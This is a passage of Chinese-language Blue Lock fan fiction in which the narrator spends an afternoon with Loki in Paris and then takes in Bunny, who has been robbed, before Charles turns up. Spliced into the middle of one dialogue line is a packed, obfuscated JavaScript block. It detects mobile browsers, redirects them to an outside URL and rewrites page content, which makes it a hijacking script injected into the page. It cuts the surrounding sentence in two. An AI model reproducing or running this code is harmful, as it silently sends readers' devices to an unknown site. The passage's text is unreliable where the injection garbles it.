洛基大多时候是安静的倾听者,偶尔会发表一句评论或提出一个问题。他的问题总是恰到好处,显示出他确实在认真听我说话。有时他会在我说话时微微侧头看着我,那双沉稳的眼睛里带着一种专注的神情,让我偶尔会心跳漏掉一拍,产生一种被他格外重视的错觉。 但很快我又会暗自否定这种 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我了解到他从小凭借惊人的天赋和努力一步步进入PXG青训,并很快脱颖而出。他的梦想很简单,就是成为世界顶级的前锋,在最高的舞台上证明自己。他的话语里没有凯撒那种舍我其谁的狂傲,也没有玲王那种背负期望的急切,而是一种沉稳的、毋庸置疑的自信,仿佛那是一件注定会发生的事情,只需要付出时间和努力去抵达。 这种认知让我不禁有些钦佩,也隐隐有些自惭形秽。和他相比,我的足球之路开始的如此偶然,动机也掺杂了太多其他的东西——想要靠近朋友,不想被抛下,想要证明自己……甚至现在,我也无法确定这份刚刚萌芽的“喜欢”究竟能持续多久,又能支撑我走到哪里。 夕阳开始西下,给天空染上绚丽的橙红色。我们站在一座桥的中央,看着落日缓缓沉入城市的轮廓线之下。景色壮美得令人窒息。 “今天……真的很开心。”我看着远处逐渐亮起的城市灯火,轻声说,“谢谢你愿意出来,洛基先生。还有,昨天的事情,再次感谢你。” 他转过头来看我,夕阳的余晖在他深邃的眼眸中投下细碎的光点。“我也很愉快,清田小姐。不用总是道谢,帮助你是我自愿的。” 他的语气很真诚。我心里那点小小的雀跃又忍不住冒了出来。 就在我以为这次“答谢之旅”即将圆满结束,我们可以友好地互道再见时,洛基却忽然做出了一个有些出乎我意料的动作。他转过身,微微倚靠在桥的栏杆上,一只手随意地托着下巴,目光若有所思地落在我的脸上。 他的这个姿态比之前多了几分随意,甚至带着一点点……探究的意味?和之前那种礼貌的社交距离感不太一样。 “说起来,”他开口,声音在傍晚的风中显得格外清晰,“我还有一个有点冒昧的问题,只是出于个人的一点好奇。” “嗯?什么问题?”我有点意外,抬起头看他。 他停顿了一下,似乎在斟酌措辞,然后才缓缓问道:“夏尔今天说的那些话虽然荒谬,但……如果,我是说如果,将来有一天,你真的遇到了类似‘小三’这样的情感困境……”他的目光平静却直接,“你会怎么做?真的会考虑……那种可能性吗?” 我彻底愣住了,完全没想到他会问出这样一个……带着点八卦,却又莫名尖锐的问题。这实在不像是我认识的那个朱利安·洛基会问出来的话。 他看着我惊讶的表情,补充道:“这听起来可能确实有些越界了。如果你觉得不方便,或者不想回答,完全没关系。就当我没问过。” 河风吹拂着他的发,也吹动了我的裙摆。远处传来游船的汽笛声,模糊而悠远。 我张了张嘴,一时间不知道该如何回答。我会吗?未来的事情,谁又能说得准呢?就像不久之前的我,还完全无法想象自己会站在训练场上,为了踢出一个好球而较劲,甚至从中感受到快乐。未来的我,又会变成什么样子?会遇到什么样的人?经历什么样的情感? 我的心绪有些纷乱,脑海中不受控制地闪过几个模糊的身影——玲王带着醋意的叮嘱,凪慵懒却关切的语调,凯撒那双冰蓝色眼眸里戏谑又专注的光芒,甚至还有眼前洛基沉稳而偶尔流露出些许不同意味的注视…… 我深吸一口气,整理着混乱的思绪。最终,我抬起头,迎上他等待的目光,决定诚实地表达自己此刻最真实的想法,尽管它可能听起来并不那么坚决和完美。 “我……不知道。”我老实地回答,声音有些轻,但很清晰,“未来的事情,我真的无法保证。我不知道那时的我会做出什么样的选择,就像过去的我,也完全预料不到现在的自己会开始踢足球一样。” 我稍微停顿了一下,指尖无意识地抠着栏杆上微凉的金属漆面。 “但是,”我加重了语气,试图强调这一点,“有一点,我觉得我可以确定。如果……如果我真的拥有了认定的‘爱人’,那么至少在那一刻,在那个身份之下,我会努力做到全心全意。” 我的目光投向缓缓流淌的塞纳河水,水面上倒映着两岸璀璨的灯火,摇曳生辉。 “忠诚和真诚,是我非常看重的东西。我不喜欢欺骗,那样对所有人都不公平。”我想起了夏尔那套“小三”理论,忍不住苦笑了一下,“所以,大概……大概率是不会的吧。与其陷入那种复杂的困境,我更倾向于在一开始就做出清晰的选择,或者……及时离开。” 说完这些,我有些不好意思地看向洛基。“是不是……听起来有点幼稚?或者太理想化了?”毕竟,成年人的世界似乎总是充满了各种灰色地带和不得已而为之。 洛基静静地听着,脸上没有什么特别的表情变化,只是那双眼睛一直注视着我,似乎在仔细分辨我话语里的每一个细微的情绪。直到我说完,他也没有立刻回应。 桥上的风似乎更大了些,吹得我的头发再次飞舞起来。 过了片刻,他才微微摇了摇头,托着下巴的手放了下来,重新站直了身体。 “不。”他的声音低沉而平稳,听不出是赞同还是别的什么,“并不幼稚。只是……很纯粹。” 他的评价让我有些意外。纯粹?这算是一种夸奖吗? 他没有再继续这个话题,也没有对他的提问做出任何解释,仿佛刚才那个带着点微妙试探意味的问题只是随风飘散的一句闲谈。他抬腕看了看表,语气恢复了之前的平常:“时间不早了,需要我送你回去吗?” 话题转换得有些突然,但我还是下意识地点了点头:“哦,好的……麻烦你了。” “走吧。” 我们并肩走下桥,朝着我临时住所的方向走去。一路上,我们都没再提起那个关于“小三”的假设性问题。聊天的内容又回到了日常和足球,仿佛刚才那段短暂的、带着点莫名张力的小插曲从未发生过。 只是,在我心底深处,却忍不住一遍遍地回味他那个问题,以及他最后那个评价——“纯粹”。 他为什么要问那个问题?是真的只是出于对夏尔胡言乱语的一点延伸好奇?还是……带着某种我无法确定的试探? 而我的回答,在他听来,又究竟意味着什么呢? 晚风拂过脸颊,带着塞纳河特有的水汽和城市的气息。身旁的洛基步伐沉稳,一如他给人的感觉。 但我却觉得,这个下午,似乎有什么东西,变得和之前不太一样了。 58.失足少男 今天真的很愉快。 这句话在我心里轻轻回荡着,像塞纳河傍晚的风一样温柔。我和洛基在酒店门口道别,他沉稳的点头说“下次再一起出来”,然后转身离开。我站在原地,看着他的背影消失在巴黎街角,才慢慢转过身,准备回房间好好回味这个美好的下午。 然而,我的好心情在走到酒店旋转门前,骤然被打断了。 一个异常高大的身影,正以一种极其委屈、几乎可以说是蜷缩的姿势,捂着脑袋蹲在酒店门口旁边的角落里。那头醒目的白头发,以及即使蹲着也能看出惊人的身高和体格…… 我的脚步顿住了,心里咯噔一下。 邦尼·伊格莱西亚斯? 他怎么会在这里?还以这种……呃,像是被主人踢了一脚的大型犬般的姿态蹲着? 我犹豫了一下,还是走了过去。越靠近,越能看清他此刻的狼狈。他那只平时总是戴着顶时髦帽子的脑袋此刻光溜溜的,柔顺的白发被抓得有些乱,而他正用那双大手死死地捂着头顶,手指缝隙间,我好像隐约看到了一点红痕? “邦尼……先生?”我试探性地叫了他一声,语气里充满了不确定和一丝荒谬感。 听到我的声音,蹲着的巨大身影猛地一颤,然后极其缓慢地、像是生了锈的机器人一样,抬起了头。 果然是他。左眼下那道十字疤依旧显眼,但此刻,他脸上那种常挂着的、笑眯眯的和蔼表情消失不见了,取而代之的是一种……我从未见过的,混合着疼痛、茫然、委屈,甚至还有点呆呆的表情。他的眼睛瞪得比平时圆一些,红色的瞳孔里写满了“无法理解”和“难以置信”。 “啊……是你啊……”他的声音也失去了往常那种轻快上扬、总是带着点诡异甜美的语调,变得有些干巴巴,甚至透着一丝虚弱。 “你这是……怎么了?”我看着他这副模样,心里的警惕和之前对他“假男友”身份的厌烦,暂时被一种更强烈的困惑和一点点……荒谬的同情压过去了。毕竟,一个一米九几、身材结实的职业足球运动员,捂着头蹲在酒店门口像只被抛弃的大狗,这场面实在太过超现实。 邦尼吸了吸鼻子,虽然看起来并没有哭,但这个动作让他显得更委屈了。他保持着抬头的姿势,眼巴巴地看着我,声音闷闷的:“我的帽子……被抢走了。” “……哈?” “还有钱包……和手机……”他补充道,语气里的委屈几乎要溢出来,“全都没了。” 我愣住了,花了足足好几秒钟才消化掉这个信息。 抢劫? 邦尼·伊格莱西亚斯,巴萨FC的前锋,被抢劫了?在巴黎?而且成功被抢走了帽子、钱包和手机? 一股极其复杂的情绪涌上心头,首先是震惊,然后是难以置信,最后竟然有点想笑——当然,我努力憋住了。这太离谱了!匪徒的胆子是有多大?还是说巴黎的小偷抢劫犯已经技艺高超到可以无视这种体型差距了? 我看着他依旧捂着脑袋的手,忍不住问:“那你的头……?” “哦,这个啊,”邦尼似乎这才想起自己一直捂着头,他慢慢放下手,露出了额角一处明显的红肿,甚至有点破皮,“他们抢帽子的时候,动作太粗鲁了……扯到了我的头发,还用手肘……嗯,不小心碰到了这里。有点痛呢。” 他用一种近乎平静的语气描述着被袭击的过程,但配合着他此刻呆呆的表情和额头上的伤,效果格外滑稽又可怜。 我看着他额角那块红印,再看看他空空如也的双手和没戴帽子的脑袋,终于无奈地叹了口气。不管他之前扮演“假男友”给我带来了多少麻烦,不管他是不是凯撒派来的,此刻看着他这副惨状,我也实在没法硬起心肠扭头就走。 “你……”我斟酌着用语,“你能联系上你的经纪人或者俱乐部的人吗?总得让人来接你,或者处理一下被抢的事情吧?” 邦尼眨了眨他那双此刻显得格外无辜的眼睛,摇了摇头:“手机被抢走了……我不记得号码。所有人的号码……都存在手机里了。”他顿了顿,补充了一句,“啊,真想消失啊……” 看,又来了,那种熟悉的、夹杂着负面情绪的感叹。但这次,配合他眼前的处境,听起来竟然没那么诡异,反而有点……应景? 我再次深深吸了一口气,认命般地从口袋里掏出自己的手机。“用我的打吧?你应该……记得一两个紧急联系人的号码?比如俱乐部的总机?或者凯撒?”我提到凯撒的名字时,语气忍不住带上了一丝微妙。 邦尼看着我递过去的手机,眼睛亮了一下,但随即又黯淡下去,他歪了歪头,似乎在努力思考,然后露出了一个更加茫然的表情:“……抱歉,清田小姐,我好像……一个号码都记不住了呢。大概是刚才被打到头,有点轻微脑震荡了……啊,会不会就这样死掉呢……” “……请不要随便说这种话。”我无力地制止他,感觉自己额角的青筋也在跳了。一个记不住任何号码的职业球员?这可信度也太低了吧!他到底是真傻还是在装傻? 但是看着他额头上那块越来越明显的红肿,以及那双此刻写满了“空白”和“无助”的眼睛(天知道他是怎么做出这种表情的),我又有点不确定了。万一他真的被打懵了呢? 我拿着手机,僵在原地,一时不知该如何是好。总不能把他一个人丢在这里吧? 邦尼依旧蹲在地上,仰着头看我,阳光照在他白色的头发上,几乎有些晃眼。他忽然小声说:“清田小姐……你真是个好人呢。” “……谢谢夸奖。”我干巴巴地回答,心里却在呐喊:我只是没办法对眼前这副惨状视而不见啊! “所以,”他继续用那种带着点虚弱和无辜的语气说,“我能不能……暂时跟着你?我现在身无分文,也无处可去……说不定那些抢匪还在附近等着我落单呢……啊,想到可能会被再次袭击,就感觉离失踪更近了一步……” 他的话语内容依旧充满了邦尼式的黑暗色彩,但配合着他此刻的处境和表情,杀伤力大打折扣,反而更像是一种笨拙的、试图博取同情的表演。 我看着他,沉默了足足有十秒钟。 大脑在疯狂地警告我:清田爱!别信他!这家伙是凯撒派来的!他很危险!而且麻烦得要死!把他带回房间?你疯了吗? 但视线落在他额角的伤,和他那双努力装出可怜兮兮模样的眼睛上(虽然以他的体型做这种表情真的很违和),那点微不足道的同情心又开始滋滋作响。 最终,我还是败给了自己的那点“于心不忍”。 “……好吧,”我几乎是咬着牙说出的这句话,“你先起来,跟我去前台,我帮你问问能不能联系警方或者帮你找个医生看看头上的伤。然后……我再想办法看怎么联系你的人。” 邦尼的眼睛瞬间亮了起来,那种光芒快得几乎让我以为刚才的茫然和委屈都是我的错觉。他立刻站了起来——一米九多的身高带来的压迫感瞬间回归——然后对着我露出了一个极其灿烂、甚至带着点傻气的笑容:“真的吗?太感谢你了!清田小姐!你真是天使!” “……闭嘴,跟我来。”我面无表情地转过身,努力忽略身后那个亦步亦趋的巨大身影,以及前台工作人员投来的好奇目光。 今天下午和洛基先生度过的愉快时光所带来的粉色泡泡,此刻彻底被邦尼·伊格莱西亚斯这块突如其来的、巨大的、麻烦的乌云笼罩得严严实实。 我就知道,在巴黎,在我的生活里,平静和愉快永远是短暂的奢侈品。 邦尼跟在我身后,脚步似乎轻快了不少,甚至开始哼起了不成调的小曲,歌词隐约是什么“……死亡如影随形,但幸运女神偶尔微笑……” 我忍无可忍地加快了脚步。 老天奶,我到底为什么要心软?! *** 邦尼的伤不算太严重,至少不像他说的有脑震荡那么严重。酒店前台帮忙找来了简易医药箱,我用消毒棉签小心地帮他清理了额角那处破皮的红肿时,他嘶嘶地抽着气,眼睛湿漉漉地望着我,配上那头凌乱的白发和惊人的身高,活像只被雨淋垮的巨型犬。处理完,那块红肿看起来反而更明显了些,但总算不再有感染的风险。 “你吃东西了吗?”我收起医药箱,瞥了他一眼,“还是说,被抢之后就一直饿着?” 邦尼摸了摸肚子,脸上又露出那种混合着委屈和茫然的夸张表情:“嗯……从中午到现在,什么都没吃呢。本来想去买那家很有名的可颂……结果就遇到了这种事。啊,饥饿的感觉真像是缓慢的死亡呢……” “……闭嘴,吃饭的时候不许说这种话。”我没好气地打断他,认命地拿出手机,“我给你叫份外卖吧。想吃什么?” “清田小姐决定就好~我不挑食的。”他立刻笑了起来,仿佛刚才那个哀叹“缓慢死亡”的人不是他,“能填饱肚子,感受生命延续的实感就好。” 我无视了他后半句,快速浏览着附近的餐厅,最后给他点了一份料最足的意大利肉酱面和一份烤鸡翅。下单成功后,我看着坐在我房间沙发里、显得空间都有些逼仄的邦尼,感觉太阳穴又开始隐隐作痛。 这事不能瞒着,也瞒不住。我深吸一口气,点开了那个被我设置了免打扰但依旧无比活跃的群—— 【凯撒和他的精神病友交流群(内斯除外)】 里面的最新消息还停留在几个小时前。 我快速打字,希望能让他们意识到事情的紧急。 【我:@凯撒 @内斯紧急情况。邦尼·伊格莱西亚斯在巴黎被抢劫了,钱包手机帽子都没了,额角还有点擦伤。我现在在酒店看着他。】 【我:你们谁有办法联系上他俱乐部的人或者经纪人?赶紧派人来接他。如果你们都联系不上,我就只能叫我爸帮忙了。】 消息发出去没多久,手机就疯狂震动起来。 【内斯:∑(°口°?)?!邦尼先生被抢劫了?!在巴黎?!严不严重?爱你没事吧?!】 【凯撒:哈。那个白痴终于因为看起来太像移动的冤大头而遭报应了?】 【我:现在是说这个的时候吗?靠谱点,老师。】 【凯撒:啧。麻烦。】 【凯撒:等着,我问问巴萨FC那边谁在管这事。】 【内斯:我也立刻联系一下我知道的号码!稍等,爱!邦尼先生,请您坚持住!】 群里暂时安静了下来,显然那边去联系了。我放下手机,看了一眼正好奇地打量我房间里摆设的邦尼,他甚至还拿起那个丑萌的南瓜头钥匙扣对着灯光看了看。 “已经帮你联系凯撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258346|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和内斯了,他们应该很快能找到你经纪人。”我说。 “啊,真是麻烦米歇尔和亚历克西斯了~”邦尼放下钥匙扣,对我露出一个毫无阴霾的笑容,“也麻烦清田小姐了。你真是善良的天使,照亮了我通往黄泉比良坂的黑暗道路呢~” “……都说了吃饭的时候不许说这种话!”我简直想用靠垫砸他。 大约过了十几分钟,外卖和群里的消息几乎同时到了。 我把那份分量十足的意面和鸡翅推到邦尼面前,他眼睛一亮,然后就拿起叉子,以一种与他和蔼笑容完全不符的、近乎凶猛的姿态开始进食。 与此同时,手机屏幕再次亮起。 【凯撒:问到了。他的经纪人正在满城处理某个烂摊子,最早一班来巴黎的飞机是明天中午。到了估计也得傍晚才能接上人。】 【内斯:我这边联系到的助理也说最快明天……邦尼先生,请您务必坚持到明天!】 【凯撒:也就是说,那白痴还得在你那边赖至少一天。】 【凯撒:小学徒,你自己看着办吧。或者让清田那老家伙处理也行。】 【内斯:怎么可以麻烦清田先生!爱,如果需要的话,我、我可以试着协调一下看看有没有更快的办法……】 【凯撒:内斯,闭嘴。没必要为那种蠢货兴师动众。】 【凯撒:@邦尼 没死就吱一声。】 正在狼吞虎咽的邦尼似乎心有所感,抬起头,嘴角还沾着肉酱,含糊不清地说:“嗯?是米歇尔他们有消息了吗?是不是骂我了?” “……你倒是很了解他。”我把手机屏幕转向他,“最快也得明天傍晚。也就是说,你至少得待到明天。” 邦尼咽下嘴里的食物,拿起餐巾纸优雅地擦了擦嘴(如果忽略他面前的狼藉和嘴角的酱汁,这个动作甚至称得上绅士),脸上并没有太多意外的表情:“这样啊……也好。看来死神还不打算立刻带我走,让我在巴黎又多了一段意外的闲暇时光呢。” 他放下餐巾,忽然从口袋里掏出了那个夏尔塞给他的、咧嘴傻笑的南瓜头钥匙扣,放在手心里递向我:“这个,送给清田小姐吧。” “嗯?”我愣了一下,“给我干嘛?”这玩意看起来廉价得要命,而且不是他被抢后仅存的“财产”之一吗? “就当是纪念品吧?”他笑眯眯地说,红色的瞳孔在灯光下闪烁着微妙的光泽,“纪念这次……嗯,颇为奇妙的巴黎遭遇。而且,它看起来和清田小姐一样,都有点可爱呢。” 我:“……”我一点也不想和这个傻南瓜联系在一起好吗! 我心里默默吐槽这玩意是不是因为看着就一文不值所以根本没入抢匪的眼才得以幸存,但话到嘴边还是咽了回去,只是表情复杂地接了过来。塑料钥匙扣冰凉的触感硌在掌心。 “那你今晚怎么办?”我把钥匙扣随手放在桌上,提出更实际的问题,“你之前住的酒店现在肯定续不上了吧?钱包身份证件都没了。要不……我帮你再多开一间房?” 虽然有点肉痛零花钱,但总不能真让他流落街头或者在我房间打地铺吧? 邦尼眼睛眨了眨,正要开口说什么—— “叮——” 我房间的门铃突然响了起来,清脆的声音在略显尴尬的安静氛围中格外刺耳。 这么晚了会是谁?我爸?还是酒店服务? 我疑惑地站起身,走到门口,透过猫眼往外看。 只见一颗金白挑染的脑袋正占据了整个猫眼视野,夏尔·希瓦利埃那张笑得过分灿烂的脸几乎贴在门板上,他甚至还对着猫眼做了个鬼脸。 我的心脏猛地一跳!他怎么又来了?! 我下意识地回头看了一眼还坐在沙发上、嘴角沾着酱汁、手里拿着鸡翅的邦尼。 完蛋!这要是被夏尔看到…… 门铃又响了一声,更加急促,还伴随着夏尔活力十足的喊声:“姐姐~姐姐!开门呀!我知道你在里面!我闻到好吃的味道了!快开门嘛!” 躲是躲不过去了。我深吸一口气,抱着一种近乎赴死的心情,拧开了门把手。 门刚一打开,夏尔就像泥鳅一样挤了进来,嘴里还在嚷嚷:“姐姐你也太不够意思了!吃独食都不叫我……咦?” 他的声音戛然而止。 脚步顿在原地,那双金色的眼睛瞬间瞪得溜圆,难以置信地看向沙发的方向——看向那个正举着鸡翅、同样有些愕然地回望着他的、额角贴着一小块创可贴的白发高大男人。 夏尔脸上的笑容凝固了,视线像扫描仪一样飞快地从邦尼额角的伤、嘴角的油渍、面前吃了一半的意面、以及……我身上扫过。 房间里的空气仿佛凝固了几秒。 然后,夏尔猛地倒吸一口凉气,伸出手指,颤抖地指向邦尼,声音拔高了八度,充满了巨大的震惊和……一种发现新大陆般的、极其欠揍的兴奋: “十、十字疤小哥?!你、你怎么会在这里?!还、还这副样子?!而且还在姐姐房间里吃东西?!” 他的目光猛地又转向我,眼神里充满了控诉和强烈的好奇: “姐姐!这到底是怎么回事?!你们……你们难道已经发展到……可以留宿的关系了吗?!进展也太快了吧!我这个‘小三’都还没正式上岗呢!” 59.公主抱 又是他…… 夏尔·希瓦利埃,这个阴魂不散的小恶魔!我简直要怀疑他在我身上装了GPS定位器!他怎么总能精准地找到我,并且在我最不想见到他的时候出现?! 看着他那张写满了“我抓到你了”的兴奋笑脸,以及那双滴溜溜在我和邦尼之间打转、闪烁着狡黠光芒的金色眼睛,我只觉得一股无力感混合着怒火直冲天灵盖。尤其是他那句“留宿关系”和“小三上岗”,更是让我头皮发麻,恨不得立刻冲上去捂住他那张喋喋不休的嘴! “夏尔·希瓦利埃!你胡说八道什么!”我气得脸颊爆红,声音都提高了八度,“事情根本不是你想的那样!他是被抢劫了!无处可去我才暂时让他待在这里的!” “被抢劫了?”夏尔脸上的惊讶只维持了零点一秒,随即转换成了更加浓厚的兴趣,他像只闻到鱼腥味的猫,几步就蹿到了沙发旁,围着还在慢条斯理擦嘴的邦尼转了一圈,目光在他额角的创可贴和桌上的空餐盘上扫过,“哇哦!在巴黎被抢?十字疤小哥,你这经历可以写进冒险小说了!怎么样怎么样?对方几个人?有没有发生激烈的搏斗?你打赢了吗?还是被打得很惨?” 邦尼抬起头,对着夏尔露出了他那标志性的、和蔼可亲的笑容,仿佛刚才那个狼吞虎咽的人不是他:“嗯……过程确实有点突然呢,像一场短暂的、与死神擦肩而过的华尔兹。可惜对方人有点多,我又不太擅长打架,只能眼睁睁看着他们带着我的东西消失在巴黎的小巷里了。啊,那种无力感,真是令人回味无穷……” “哇!听起来好刺激!”夏尔完全没听出邦尼话里的诡异之处,反而更加兴奋,他甚至拍了拍邦尼的肩膀(因为身高差,他需要踮起脚尖),“没关系!人没事就好!东西丢了再买嘛!不过……”他话锋一转,眼神又瞟向我,语气变得暧昧起来,“所以姐姐你就好心收留他了?真是善良啊~不过,孤男寡女共处一室,真的没问题吗?需不需要我这个‘小三’在这里监督一下,以免发生什么……嗯哼~不可描述的事情?” “监督你个鬼!”我忍无可忍,抓起沙发上的一个靠垫就朝他扔了过去,“你给我适可而止!再说这些乱七八糟的,我就把你从窗户扔出去!” 夏尔灵活地接住靠垫,抱在怀里,笑嘻嘻地一点不怕:“哎呀呀,姐姐害羞了~放心啦,我嘴巴很严的!绝对不会告诉洛基你房间里藏了别的男人!” 他不提洛基还好,一提洛基,我又想起下午那短暂而愉快的时光,以及此刻这混乱到极点的局面,顿时更加心烦意乱。绝对不能让他再在这里待下去了!天知道他还会说出什么惊世骇俗的话来! 我强压下狠狠揍他一顿的冲动,深吸一口气,努力让自己的语气听起来平静一点:“夏尔,你吃晚饭了吗?我包里好像还有之前买的马卡龙,你要不要……” 我想用甜食堵住他的嘴,然后赶紧把他打发走。 谁知夏尔摇了摇头,金色的眼睛亮晶晶地看着我:“我不饿啦!我是专门来找姐姐玩的!今天下午你们偷偷跑去约会都不带我,我好无聊啊!” “谁跟你玩了!我也不闲!”我立刻否认,语气硬邦邦的,“我忙着呢!你要是实在闲得……闲得没事干,可以自己去找点乐子,比如去塞纳河畔跑跑步,或者去爬个埃菲尔铁塔什么的,别在这里烦我。”我差点把“闲得蛋疼”说出口,幸好及时刹住了车。 “自己玩多没意思啊!”夏尔撇撇嘴,抱着靠垫一屁股坐在了沙发扶手上,紧挨着邦尼,两条腿晃啊晃的,“我就喜欢和姐姐一起玩嘛~对了!”他像是突然想到了什么,猛地凑近我,脸上带着狡黠的笑容,目光在我和邦尼之间来回扫视,“姐姐,趁现在机会难得,我问你个问题呗?” 我有一种极其不祥的预感:“……什么问题?” 他笑得像只小狐狸,伸出一根手指,先指了指自己,然后又指向窗外(大概是PXG基地的方向):“如果,我是说如果哦!非要让你在我和洛基之间选一个,你会选谁当你的‘正牌’男朋友?” 我:“!!!” 我就知道!我就知道狗嘴里吐不出象牙! 这个问题简直就是一道送命题!无论我怎么回答,都会被他解读出无数种离谱的含义!而且邦尼还在旁边看着呢!虽然他是个“假男友”,但当着“现役”(虽然是假的)的面问这种问题,也太诡异了吧! 邦尼果然被这个问题吸引了注意力,他放下餐巾纸,那双总是含笑的红色瞳孔也转向了我,似乎也在等待我的答案,脸上还带着一丝饶有兴趣的表情。 我感觉额角的青筋在欢快地跳动。看着夏尔那张写满了“快说快说”的期待脸庞,我脑子一热,几乎是脱口而出:“……当然是选洛基先生!” 话音落下,房间里安静了一瞬。 夏尔脸上的笑容瞬间垮了下去,嘴巴夸张地张成了一个“O”型,仿佛听到了什么极其不可思议的事情,他捂住胸口,做出一副心碎欲绝的样子:“为什么?!姐姐!你竟然真的选那个黑皮闷葫芦?!我不够可爱吗?我不够有趣吗?我不够贴心吗?明明是我先认识的你!” 我被他吵得头疼,没好气地反驳:“跟那些没关系!是因为洛基先生很礼貌!很可靠!不会像你这样整天胡说八道、给我惹麻烦!”天知道我有多羡慕洛基那种冷静沉稳的性格! “哦——”夏尔拖长了语调,金色的眼睛里的伤心迅速褪去,转而闪烁着一种“我懂了”的狡黠光芒,“原来姐姐你真的这么喜欢‘黑皮款’啊?品味很独特嘛!” “都说了不是因为他皮肤黑!”我简直要抓狂了,这人的脑回路到底是怎么长的!“是因为他的性格!性格!你能不能抓重点!” “性格啊……”夏尔摸着下巴,若有所思,然后忽然看向旁边的邦尼,笑嘻嘻地问,“呐,十字疤小哥,你觉得呢?姐姐是不是很明显更喜欢洛基那种类型的?” 邦尼一直安静地听着我们的对话,脸上保持着那种微妙的笑容,此刻被夏尔点名,他微微歪头,用那双红色的瞳孔看着我,语气依旧温和得诡异:“嗯……每个人的喜好都值得尊重呢。无论是追求强大的黑豹,还是迷恋死亡的阴影,都是通往终焉之路上不同的风景罢了。亲爱的,你的选择很有趣哦。” 亲爱的?!他又开始了! 果然,听到这个称呼,夏尔的眼睛瞬间亮得像探照灯,在我和邦尼之间来回扫射,脸上的表情更加兴奋了,仿佛发现了什么新大陆。 而我,只觉得一股深深的无力感和头痛席卷而来。一个胡说八道的小恶魔已经够我受的了,现在再加上一个说话不着调、还顶着“假男友”名头的邦尼……这画面太美我不敢看。 上帝啊,如果我有罪,请让法律来制裁我,而不是让这两个家伙一起出现在我的房间里,用这种诡异的话题折磨我的神经! 不行了,我受不了了。我必须立刻、马上逃离这个令人窒息的现场,哪怕只有几分钟! “……你们聊,我去下洗手间。”我几乎是咬着牙挤出这句话,然后不等他们反应,抓起手机,像是身后有鬼在追一样,飞快地冲进了房间自带的卫生间,“砰”地一声关上了门,甚至还下意识地反锁了。 背靠着冰凉的门板,我终于获得了片刻的喘息之机。门外隐约还能听到夏尔叽叽喳喳说话的声音和邦尼那低沉含笑的回应,但至少隔着一道门,杀伤力减弱了不少。 我滑坐到冰凉的地砖上,感觉自己像是刚跑完一场马拉松,身心俱疲。这才来巴黎几天?我的生活怎么就变得如此鸡飞狗跳、水深火热了? 强烈的倾诉欲和委屈感涌上心头,我迫不及待地点开了手机里唯一的心灵净土——和玲王、凪的三人小群。 手指在屏幕上飞快地敲击,几乎带上了残影,把从昨天到今天遭遇的一切混乱、尴尬、无奈和愤怒,像倒豆子一样噼里啪啦地全都倾泻了出去。从邦尼的突然出现和“假男友”宣言,到夏尔的胡搅蛮缠和“小三”自居,再到刚才那场令人崩溃的“二选一”逼问和邦尼那声火上浇油的“亲爱的”…… 【我:啊啊啊啊啊!我要疯了!真的疯了!】 【我:你们敢信吗?!我现在被堵在自己房间的卫生间里!外面坐着两个神经病!一个自称是我男朋友(假的!),一个自称是我小三(更假的!)!】 【我:他们还在那里讨论我到底喜欢谁!讨论得津津有味!仿佛我是砧板上的一块肉!】 【我:巴黎太可怕了!我想回家!我想回日本!我想你们了!(;′⌒`)】 消息发出去没多久,手机就震动起来。 【玲王:????????】 【玲王:等等!爱!你说清楚!什么假男朋友什么小三?!哪个混蛋敢冒充你男朋友?!】 【玲王:是不是那个咖啡店怪人?还是那个夏尔·希瓦利埃?我就知道那小子没安好心!】 【玲王:你没事吧?要不要我现在就打电话给清田叔叔?或者我让我爸联系巴黎那边的人?】 【凪:……好混乱。】 【凪:爱,你过得太命苦了,不如回来吧。[抱住.jpg]】 看到凪那句“不如回来吧”,我的鼻子猛地一酸,积压了许久的委屈和思念瞬间决堤。是啊,我也想回去啊!我多想立刻回到日本,回到有玲王和凪在的地方,回到那种虽然也有烦恼但至少不会如此离谱的生活中去! 【我:我也想回去啊……可是我怎么能办……我回不去啊……[大哭.jpg]】 【我:我爸他根本就是故意把我骗来欧洲的!】 【我:我好想家……我好想妈妈……要是妈妈在就好了……】 妈妈…… 打出这两个字的时候,我的心脏忽然猛地一跳,一个念头如同闪电般划过我混乱的脑海! 对了!妈妈! 就算妈妈之前和爸爸是一伙的,联手把我“骗”来了欧洲,但那是因为她以为这是对我好,以为我能在这里得到更好的指导和成长机会!如果……如果她知道我在这里过得这么惨,这么水深火热,被这些莫名其妙的男人纠缠,每天活在尴尬和混乱里,她一定会心疼的!说不定……说不定她就会心软,然后同意我提前回日本了! 这个想法像是一道曙光,瞬间照亮了我被乌云笼罩的心情! 我怎么早没想到!跟爸爸那个足球痴说不通,但妈妈不一样!妈妈一直都是最理智、最疼我的人!她只是被爸爸和诺亚先生描绘的美好蓝图暂时迷惑了而已! 只要我跟妈妈好好诉诉苦,把这边可怕的实际情况告诉她……对!就这么办! 【我:有了!】 【我:我跟妈妈告状不就行了?!】 【我:我这就去给妈妈打电话!跟她说明我在这里过得多么多么命苦!说不定我就有救了!】 我激动地发出这几条消息,感觉希望又重新回来了。 【玲王:对啊!找清田阿姨!这个办法好!阿姨最讲道理了!】 【凪:嗯……靠谱。清田阿姨的话,应该能搞定清田叔叔。】 【玲王:爱,你快去打电话!需要我帮你补充说明情况吗?】 【我:不用不用!我自己来说效果更好!等我好消息!】 结束了和玲王他们的聊天,我深吸一口气,感觉浑身又充满了力量。我找到妈妈的号码,毫不犹豫地拨了过去。 听着电话里传来的等待音,我的心跳因为期待和紧张而加速。妈妈,你一定要接电话啊!你女儿的幸福就掌握在你手里了! “喂?小爱?”妈妈温柔的声音很快从听筒里传了出来,背景音有些嘈杂,似乎还在工作场合,“怎么这个时间打电话来了?在巴黎还好吗?爸爸没给你添麻烦吧?” 听到妈妈熟悉的声音,我所有的委屈瞬间涌上心头,鼻子一酸,眼眶立刻就红了,声音也带上了浓重的哭腔和哽咽: “妈妈……呜……我一点也不好……我快受不了了……巴黎太可怕了……我想回家……” 